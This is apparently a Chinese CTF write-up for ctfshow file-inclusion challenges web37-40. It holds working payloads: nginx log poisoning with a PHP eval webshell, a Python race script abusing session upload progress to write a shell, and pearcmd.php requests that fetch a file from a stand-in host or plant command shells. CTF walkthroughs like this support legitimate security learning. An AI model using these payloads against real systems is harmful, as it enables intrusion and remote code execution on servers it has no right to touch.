web37-40
web37
开启环境后
尝试读取文件,先跳转出设定的路径
linux的目录位置是默认的,我们继续访问
/?file=../../../../../../var/log/nginx/access.log
于是我们接下来把一句话木马写到我们的日志里面,不能写错,写错就错误了
<?php eval($_POST[1]);?>
如此发包,注入我们的一句话木马,木马注入成功
如此进行命令控制,phpinfo()
用于更好找到回显
成功找到flag
flag{2075548a-51f9-4948-84c8-8c28ec281fcf}
web38
开启环境,根据提示找到phpinfo界面
phpinfo_lfi题,借用攻击脚本
web39
开启环境
构造发包代码
<form action="http://b1feaf01-5a39-4745-9cdf-728b6262aa81.challenges.ctfer.com:8080/" method="post" enctype="multipart/form-data">
<input name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
进行发包
通过脚本得到
import requests
import threading
session = requests.Session()
sess="ctfshow"
file_name="/usr/www/html/1.php"
file_content="<?php eval($_POST[1]);?>"
url="http://b4f88d05-d39e-475d-be77-7370e1adf2de.challenges.ctfer.com:8080/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"<?php echo 'success'; file_put_contents('[file_name]', '[file_content]');?>"
}
file = {
"file": 'ctfshow'
}
cookie = {
"PHPSESSID":sess
}
def write():
while True:
session.post(url, data=data, files=file, cookies=cookie)
def read():
while True:
r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
if "success" in r.text:
print('shell = '+url+'/1.php')
exit()
threads = [threading.Thread(target=write), threading.Thread(target=read)]
for t in threads:
t.start()
成功RCE
拿到flag
flag{051c4952-321c-4319-bc35-709037db99a0}
web40
开启环境
给file
一个值,得到
方法一:进行远程文件下载
/?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+R+/var/www/html/+http://your-shell.com/1.php
下载成功,到了/tmp/pear/download/1.php
未解决
方法二:用创建配置文件来做
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctfshow.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+
被解析掉了,需要我们再进行操作
换一种方法
成功远程命令执行
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三 写配置文件方式
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php